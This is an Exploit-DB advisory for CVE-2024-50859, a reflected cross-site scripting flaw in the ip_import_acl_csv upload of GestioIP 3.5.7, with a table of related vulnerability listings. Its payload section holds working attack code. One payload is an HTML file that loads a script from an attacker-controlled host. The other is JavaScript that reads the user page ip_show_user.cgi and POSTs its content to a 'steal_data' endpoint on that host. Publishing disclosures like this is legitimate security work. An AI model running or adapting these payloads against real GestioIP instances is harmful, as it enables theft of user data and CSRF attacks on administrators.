GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS)

🗓️ 14 Apr 2025 00:00:00Reported by Maximiliano BelinoType

exploitdb🔗 www.exploit-db.com👁 210 Views

GestioIP 3.5.7 is vulnerable to reflected XSS due to unsanitized file uploads, risking data exfiltration.

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2024-50859	15 Jan 202500:03	–	circl
CNNVD	GestioIP 安全漏洞	14 Jan 202500:00	–	cnnvd
CVE	CVE-2024-50859	14 Jan 202500:00	–	cve
Cvelist	CVE-2024-50859	14 Jan 202500:00	–	cvelist
NVD	CVE-2024-50859	14 Jan 202522:15	–	nvd
OSV	CVE-2024-50859	14 Jan 202522:15	–	osv
Packet Storm	📄 GestioIP 3.5.7 Cross Site Scripting	15 Apr 202500:00	–	packetstorm
Positive Technologies	PT-2025-2892 · Gestioip · Gestioip	14 Jan 202500:00	–	ptsecurity
RedhatCVE	CVE-2024-50859	23 May 202507:04	–	redhatcve
Vulnrichment	CVE-2024-50859	14 Jan 202500:00	–	vulnrichment

# Exploit Title: GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS)
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email (max.cybersecurity at belino.com)
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50859
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50859

### Description

The ip_import_acl_csv request is vulnerable to Reflected XSS (Reflected Cross-Site Scripting); the user can upload a file and the file content is reflected in the HTML response without being sanitized. If the file uploaded by the user has an incorrect format and an error occurs during its processing, part of the file's content may be displayed in the browser. If this content includes HTML or scripts and it is not properly escaped, the browser could interpret it, leading to a security vulnerability. This could allow data exfiltration and enabling CSRF (Cross-Site Request Forgery) attacks.
Proper input validation and output encoding are critical to prevent this vulnerability.


### Prerequisites

Enable (set to 'yes') the parameter:

Manage > Manage GestioIP > ACL connection management


### Usage

Select: import/export > Import ACLs/ACL Connections

Select: "Connection List"

Select "report only"

Browse to select the file you want to upload.

Click 'upload'



### Payloads

#### 1) html file to upload

<html><script src="http://10.20.0.1:8090/refxss_exfiltrate_3.js"></script></html>


#### 2) js file to exfiltrate data

var req1 = new XMLHttpRequest();
req1.open('GET',"http://localhost/gestioip/res/ip_show_user.cgi", false);
req1.send();

response = req1.responseText;

var req2 = new XMLHttpRequest();
req2.open('POST', "http://10.20.0.1:8000/steal_data", false);
req2.setRequestHeader('Content-Type', 'text/html');
req2.send(response);

14 Apr 2025 00:00Current

7.1High risk

Vulners AI Score7.1

CVSS 3.14.8

EPSS0.00822

SSVC